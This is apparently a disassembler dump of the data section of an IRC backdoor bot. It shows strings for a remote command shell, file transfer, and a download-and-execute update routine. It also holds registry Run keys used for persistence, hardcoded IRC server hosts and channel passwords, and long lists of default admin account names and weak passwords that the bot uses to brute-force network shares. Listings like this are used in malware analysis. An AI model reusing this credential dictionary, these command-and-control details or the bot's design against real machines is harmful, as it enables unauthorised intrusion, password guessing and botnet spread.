dword_42B988	dd 2A2F2Ah		; DATA XREF: sub_40AE4B+3Bo
dword_42B98C	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40B0F5+35o
dword_42B998	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40B0F5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40B16D+60o
		align 4
dword_42B9CC	dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
					; DATA XREF: sub_40B20D+1Ao
		dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
		dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_42BA04	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+DCo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 63207473h, 6C706D6Fh
		dd 2E657465h, 0
dword_42BA34	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40B27F+3Fo
		dd 2029206Ch, 2BBBB02h,	65422020h, 6E6967h
dword_42BA58	dd 80000002h, 42C268h, 80000002h, 42C298h, 80000001h, 42C2D0h
					; DATA XREF: sub_40B3AE+7o
dword_42BA70	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B3AE+63o
					; sub_40B551+170o
		dd 2029206Ch, 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42BAB8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B551+ABo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42BAFC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B551+47o
					; sub_40B712+FDo
		dd 2029206Ch, 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42BB34	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+362o
					; sub_40BAB4+156o
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BB60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+2FAo
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BBB4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+202o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BBEC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+1CBo
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BC18	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40B712+16Ao
		dd 169h
dword_42BC30	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+127o
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BC64	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+82o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BC9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40B712+44o
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42BCD4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+1CFo
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_42BD2C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+CBo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BD60	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+ABo
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: sub_40BAB4+97o
dword_42BDA4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40BAB4+83o
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 4
unk_42BDE8	db    2			; DATA XREF: sub_40BCEF+493o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42BE28	db    2			; DATA XREF: sub_40BCEF+485o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42BE74	db    2			; DATA XREF: sub_40BCEF+3C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42BEC8	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_40BCEF+358o
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40BCEF+336o
					; sub_40CE55+2A37o ...
		align 10h
unk_42BF00	db    2			; DATA XREF: sub_40BCEF+2E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42BF4C	db    2			; DATA XREF: sub_40BCEF+262o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42BF88	db    2			; DATA XREF: sub_40BCEF+1D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 10h
unk_42BFD0	db    2			; DATA XREF: sub_40BCEF+195o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42C014	db    2			; DATA XREF: sub_40BCEF+183o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 10h
unk_42C060	db    2			; DATA XREF: sub_40BCEF+77o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C297:loc_40C2DAo
					; sub_413627+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C297:loc_40C2D4o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C297:loc_40C2CEo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C297:loc_40C2C8o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C297:loc_40C2C2o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C297:loc_40C2BCo
aFailed		db 'failed',0           ; DATA XREF: sub_40C328:loc_40C400o
					; sub_40C443+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40C328+6Bo
		align 4
dword_42C0D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
dword_42C128	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C443+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 4
aA_0		db 'A:\',0              ; DATA XREF: sub_40C515:loc_40C55Ao
dword_42C17C	dd 1A0Bh		; DATA XREF: sub_40C682+3ADr
					; sub_40C682+460r
dword_42C180	dd 1B58h		; DATA XREF: sub_40C682+4ACr
dword_42C184	dd 1AA6h		; DATA XREF: sub_40CE55:loc_412647r
dword_42C188	dd 0CCEh		; DATA XREF: sub_407276+3Br
					; sub_40CE55+4E69r
dword_42C18C	dd 158Dh		; DATA XREF: sub_407276:loc_407525r
					; sub_40CE55:loc_411DB0r
dword_42C190	dd 1			; DATA XREF: sub_40C682+29r
dword_42C194	dd 1			; DATA XREF: sub_40CE55+662r
dword_42C198	dd 1			; DATA XREF: sub_409E15+Cr
					; sub_40C682:loc_40C9BBr
byte_42C19C	db 78h			; DATA XREF: sub_40C1E1:loc_40C1EDr
					; sub_40CE55+AF6r ...
		align 10h
dword_42C1A0	dd 9			; DATA XREF: sub_4140C8+2Br
					; sub_4140C8+51r ...
dword_42C1A4	dd 1			; DATA XREF: sub_40CB75+78r
					; sub_40CE55+27Cr ...
aIdspp		db 'idspp',0            ; DATA XREF: sub_40C682+67o
					; sub_40CE55+3D0Fo ...
		align 10h
aEnz9_9b	db 'enz 9.9b',0         ; DATA XREF: sub_40CE55:loc_41285Fo
		align 4
aHi		db 'hi',0               ; DATA XREF: sub_40CE55+5B8Do
					; sub_40CE55+5C5Co
		align 10h
aHome_najd_us	db 'home.najd.us',0     ; DATA XREF: sub_40C682+398o
					; sub_40C682+451o
		align 10h
aDd_0		db '#dd',0              ; DATA XREF: sub_40C682+3B9o
					; sub_40C682+467o
aDpass		db 'dpass',0            ; DATA XREF: sub_40C682+3D0o
					; sub_40C682+479o
		align 4
byte_42C1DC	db 68h			; DATA XREF: sub_40C682:loc_40CB11r
					; sub_40C682+49Do
aOme_paltalkdc_	db 'ome.paltalkdc.com',0
		align 10h
aDd_1		db '#dd',0              ; DATA XREF: sub_40C682+4B3o
aDpass_0	db 'dpass',0            ; DATA XREF: sub_40C682+4C5o
		align 4
byte_42C1FC	db 54h			; DATA XREF: sub_40283D+84o
					; sub_403178+Fo ...
		db 69h,	6Ch, 65h
		dd 666D6F63h, 6F632E63h, 6Dh
dword_42C20C	dd 636C6574h, 63666D6Fh, 6C6C642Eh, 0 ;	DATA XREF: sub_40211A+3Do
dword_42C21C	dd 54204346h, 63656C69h, 6D6Fh ; DATA XREF: sub_40B3AE+Eo
dword_42C228	dd 2D4D46h, 656C6954h, 666D6F63h, 6F632E63h, 6Dh ; DATA	XREF: sub_4140C8+12o
dword_42C23C	dd 692B782Bh, 0		; DATA XREF: sub_40CE55+5CD5o
dword_42C244	dd 6D6623h		; DATA XREF: sub_40CE55:loc_40FFA6o
					; sub_40CE55+4CCFo ...
dword_42C248	dd 737323h		; DATA XREF: sub_40CE55+1DBBo
dword_42C24C	dd 737323h		; DATA XREF: sub_40CE55+1C04o
a78712		db '78712',0            ; DATA XREF: sub_40283D+9Ao
		align 4
aDd		db 'dd',0               ; DATA XREF: sub_40283D+95o
		align 4
aDd_		db 'dd.',0              ; DATA XREF: sub_40283D+90o
off_42C260	dd offset a@room	; DATA XREF: sub_40CE55:loc_412A3Eo
					; "*@room"
off_42C264	dd offset aMirc1_6_99	; DATA XREF: sub_40CE55+8C6r
					; sub_40CE55+5C05o
					; "mirc	1.6.99"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4146BA+28o
					; sub_4149DE+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4146BA+D4o
					; sub_4149DE+D4o
		align 10h
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_42C368	dd offset byte_438FBC	; DATA XREF: sub_404F08:loc_404FBDr
					; sub_404F08+C2o
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432C64	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
